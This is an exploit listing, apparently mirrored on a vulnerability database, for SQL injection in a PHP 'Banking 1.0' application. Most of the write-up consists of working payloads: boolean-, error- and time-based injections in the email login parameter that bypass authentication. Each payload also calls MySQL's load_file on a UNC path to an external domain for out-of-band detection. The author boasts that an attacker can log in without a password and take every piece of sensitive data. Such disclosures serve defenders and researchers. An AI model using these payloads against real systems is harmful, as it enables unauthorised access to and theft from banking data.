Lucene search
K

Banking 1.0 SQL Injection Vulnerability

🗓️ 08 Jan 2025 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 532 Views

Banking 1.0 is vulnerable to SQL injection, allowing attackers to bypass authentication and extract data.

Code
# Titles: banking-1.0-Copyright©2025-Multiple-SQLi
# Author: nu11secur1ty
# Vendor: https://github.com/oretnom23
# Software:
https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html
# Reference: https://portswigger.net/web-security/sql-injection

## Description:
The email parameter appears to be vulnerable to SQL injection attacks. The
payload '+(select load_file('\\\\
4w1s2cnl83k6s24y0drdhr7oofu8iy6p9d10rog.stupidom23.com\\ilo'))+' was
submitted in the email parameter. This payload injects a SQL sub-query that
calls MySQL's load_file function with a UNC file path that references a URL
on an external domain. The application interacted with that domain,
indicating that the injected SQL query was executed. The attacker can get
all sensitive information from this system when he attacks it online, He
can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can
crash or get every sensitive information from him!

STATUS: HIGH-CRITICAL Vulnerability


[+]Exploit:
- SQLi-Bypass login authentication:

```SQLi
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: [email protected]'+(select load_file('\\\\
4w1s2cnl83k6s24y0drdhr7oofu8iy6p9d10rog.stupidom23.com\\ilo'))+'' OR NOT
6969=6969 OR 'HVGA'='sQHv&password=j0G!e2m!P1

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: [email protected]'+(select load_file('\\\\
4w1s2cnl83k6s24y0drdhr7oofu8iy6p9d10rog.stupidom23.com\\ilo'))+'' AND
(SELECT 4727 FROM(SELECT COUNT(*),CONCAT(0x71626b7871,(SELECT
(ELT(4727=4727,1))),0x716b766b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'eBud'='Nhgo&password=j0G!e2m!P1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]'+(select load_file('\\\\
4w1s2cnl83k6s24y0drdhr7oofu8iy6p9d10rog.stupidom23.com\\ilo'))+'' AND
(SELECT 3370 FROM (SELECT(SLEEP(7)))mlWm) OR
'JXim'='FWfb&password=j0G!e2m!P1
---
```

# Reproduce:
[href](https://www.patreon.com/posts/banking-1-0-c-119553309)


## Time spent:
00:15:00

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jan 2025 00:00Current
8.5High risk
Vulners AI Score8.5
532